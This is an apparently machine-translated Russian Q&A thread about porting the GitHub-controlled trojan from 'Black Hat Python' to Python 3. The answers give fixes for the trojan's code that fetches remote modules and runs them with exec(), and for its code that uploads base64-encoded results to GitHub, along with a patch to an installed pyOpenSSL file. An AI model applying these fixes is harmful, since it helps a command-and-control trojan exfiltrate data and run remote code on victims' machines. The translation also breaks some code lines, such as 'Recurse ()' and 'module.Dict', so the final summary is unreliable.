Ошибка трассировки: Ошибка поиска: неизвестная кодировка

Question

Я следую вместе с книгой Джастина Зейтца "Питон в черной шляпе". В этой главе мы пишем троян, использующий GitHub для команд и элементов управления и использующий github3.py для взаимодействия с GitHub. Проблема в том, что книга использует python2, и я пытаюсь сделать это в python3. Я получаю ошибку трассировки: "Ошибка поиска: неизвестная кодировка: charmap". Как я могу исправить эту ошибку?

Вот обратная связь:

Answer 1

Для этой проблемы вы можете отредактировать файл:

/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/site-packages/OpenSSL/_util.py

изменить строку, которая вызывает ошибку на ：

return s.encode()

Answer 2

В функции get_file_contents, замените:

tree = branch.commit.commit.tree.recurse()

с:

tree = branch.commit.commit.tree.to_tree().recurse()

в функции store_module_result, замените:

repo.create_file(remote_path, "Commit message", base64.b64encode(data))

с:

repo.create_file(remote_path, "Commit message", base64.b64encode(data.encode()))

в методе load_module, замените:

exec(self.current_module_code in module.__dict__)

с:

exec(self.current_module_code, module.__dict__)

Answer 3

Спасибо за помощь, указанную выше. Итак, три шага для исправления ошибки:

1) измените /Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/site-packages/OpenSSL/_util.py, удалите "charmap"

2) измените на tree = branch.commit.commit.tree.to_tree(). Recurse ()

3) exec (self.current_module_code, module.Dict)

работаю сейчас. спасибо.
